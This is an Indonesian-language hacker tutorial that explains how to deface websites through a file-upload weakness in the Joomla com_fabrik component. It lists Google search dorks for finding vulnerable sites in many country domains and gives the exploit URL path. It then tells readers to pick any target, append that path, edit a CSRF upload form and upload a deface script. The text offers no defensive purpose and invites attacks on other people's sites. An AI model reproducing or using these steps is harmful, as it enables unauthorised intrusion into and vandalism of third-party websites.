Deface poc com_pabrik

DEFACE POC:COM_PABRIK 

BERTEMU LAGI DENGAN GUE  AKBAR DRAVINKY Gans ingin share cara deface metode com pabrick!!!

Bahan:handphone/pc

-sinyal+kuota

Susu+kopi :'V

Csrf!

Lanjut:

Langkah pertama qyta siapkan dulu alat tempurnya
-Dork : inurl:index.php?option=com_fabrik
             inurl:index.php/component/fabrik/ site:.dk
             inurl:index.php?option=com_fabrik&view= site:
             inurl:importcsv.php site:
             inurl:viewTable?cid= site:com
(Jangan lupa kembangin lagi dorknya misal di kasih domain yg beda contoh site:.org (org bisa di ganti dengan nama domain tiap negara di dunia kan banyak,,,biar dapet yg verawan

Exploit:/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload

Oke langkah pertama kita dorking ke mbah google dulu gunain dork yg diatas penampakan bisa di lihat di bawah

Nah next pilih salah satu site yg bakal kalian tusbold ;v

selanjutnya masukan exploit yg diatas tadi /index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload
MASUKIN DIIUJUNG!!!

Kalau lu uda masukin exploitnya otomatis akan muncul seperti gambar dibawah jika

Nah habis itu lanjut ke csrf nya

Tinggal lu edit csrfnya seperti gambar di bawah

Lihat gambar Itu isi target kalian ke dalam csrf seperti gambar panah diatas

Kemudian buka csrf nya lagi:

Tinggal upload script deface lu 

Dan cara liat hasilnya :

Nah tinggal salin tu textnya dan bom hasilya:

Share this post